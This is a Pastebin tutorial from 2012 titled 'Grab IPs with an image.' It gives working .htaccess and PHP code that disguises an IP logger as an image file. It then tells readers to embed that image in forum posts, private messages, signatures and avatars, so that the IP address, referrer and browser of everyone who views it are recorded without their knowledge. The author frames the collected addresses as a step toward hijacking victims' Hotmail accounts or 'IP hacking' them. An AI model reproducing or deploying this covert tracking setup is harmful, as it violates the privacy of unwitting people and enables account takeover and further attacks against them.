Advertisement
HackerRIZLA

Grab IPs with an image.

Sep 16th, 2012
463
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.14 KB | None | 0 0
  1. With an IP address you can hotmail revert them or try to IP hack them using a program
  2.  
  3. What I mean by external image is any image that can be placed from a url.
  4.  
  5. My previous tutorial taught you how to grab ip`s only on certain forums.
  6.  
  7. However, After extensive research ivè found out the solution and would like to share with you all.
  8.  
  9. This works with ALL forum types and with Myspace PM`ing and any other site that lets you insert images from a URL rather than an Upload.
  10.  
  11. Step 1.)
  12.  
  13. Find a free webhost you can use.
  14.  
  15. The one I use is FreeHostia.com
  16. Just register for a free account there.
  17.  
  18. --
  19.  
  20. Step 2.)
  21.  
  22. Make a new web directory
  23. example: http://site.com/directory/
  24.  
  25. --
  26.  
  27. Step 3.)
  28.  
  29. Create a new file named:
  30.  
  31. .htaccess
  32.  
  33. --
  34.  
  35. Step 4.)
  36.  
  37. Put this code in .htaccess
  38.  
  39. Code:
  40. RewriteEngine on
  41. RewriteRule ^image.gif$ iplogger.php
  42.  
  43. Where it says: image.gif
  44.  
  45. You can change it to where you`ve uploaded your image, it doesn`t matter what image and it can be in any image type such as: gif, jpeg, png, etc.
  46.  
  47. Where it says: iplogger.php
  48.  
  49. That is the PHP file that will have the Ip logging code, whatever you want to name it.
  50.  
  51. --
  52.  
  53. Step 5.)
  54.  
  55. Create an empty iplogger.php file (or whatever you named it)
  56.  
  57. And put in this code:
  58. <?php
  59. $log = 'logger.html';
  60. $ip = $_SERVER['REMOTE_ADDR'];
  61. $page = $_SERVER['REQUEST_URI'];
  62. $refer = $_SERVER['HTTP_REFERER'];
  63. date_default_timezone_set('America/Los_Angeles');
  64. $date_time = date("l j F Y g:ia", time()) ;
  65. $agent = $_SERVER['HTTP_USER_AGENT'];
  66. $fp = fopen("logger.html", "a");
  67. fputs($fp, "
  68. <b>$date_time</b> <br> <b>IP: </b>$ip<br><b>Page: </b>$page<br><b>Refer: </b>$refer<br><b>Useragent:
  69.  
  70. </b>$agent <br><br>
  71. ");
  72. flock($fp, 3);
  73. fclose($fp);
  74. ?>
  75.  
  76. Then create an Empty:
  77.  
  78. logger.html file
  79.  
  80. --
  81.  
  82. Step 6.)
  83.  
  84. Upload your image.gif file (or whatever you named it)
  85.  
  86. if you haven`t already
  87.  
  88. --
  89.  
  90. Step 7.)
  91.  
  92. Go to a forum or wherever you would like
  93.  
  94. And insert the image using:
  95.  
  96. Code:
  97. [img]http://site.com/directory/image.gif[/img]
  98.  
  99. You can insert this in:
  100.  
  101. - Pm`s
  102. - Posts & Threads
  103. - Signatures
  104. - Avatars
  105. -And anything else that allows external linking of images.
  106.  
  107. If you would like to insert your image using HTML where is allowed then use this code:
  108.  
  109. Code:
  110. <IMG SRC="http://site.com/directory/image.gif">
  111.  
  112. --
  113.  
  114. Step 8.)
  115.  
  116. Check your: http://site.com/directory/logger.html
  117.  
  118. For all your IP logs including where they came from.
  119.  
  120. --
  121.  
  122. How it WORKS:
  123.  
  124. Basically,
  125.  
  126. When the web tries to access the Image that is in the directory with the .htaccess file.
  127.  
  128. The image.gif displays iplogger.php
  129.  
  130. Because you told it to do so.
  131.  
  132. It is called mod_rewriting and is very useful.
  133.  
  134. This tricks the forum or whatever site your using it on to display the re-written url.
  135.  
  136. --
  137.  
  138. If you would like to display an image at the same time while logging their ip, then you can by inserting the img src code into the php file.
  139.  
  140. --
  141.  
  142. Thats it!
  143.  
  144. Hope you`ve enjoyed this tutorial that I wrote.
  145.  
  146. If you would like to learn more about mod_rewrite,
  147.  
  148. visit this site for a more detailed explanation on how it works:
  149. http://www.workingwith.me.uk/articles/sc...od_rewrite
  150.  
  151. Have fun :)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement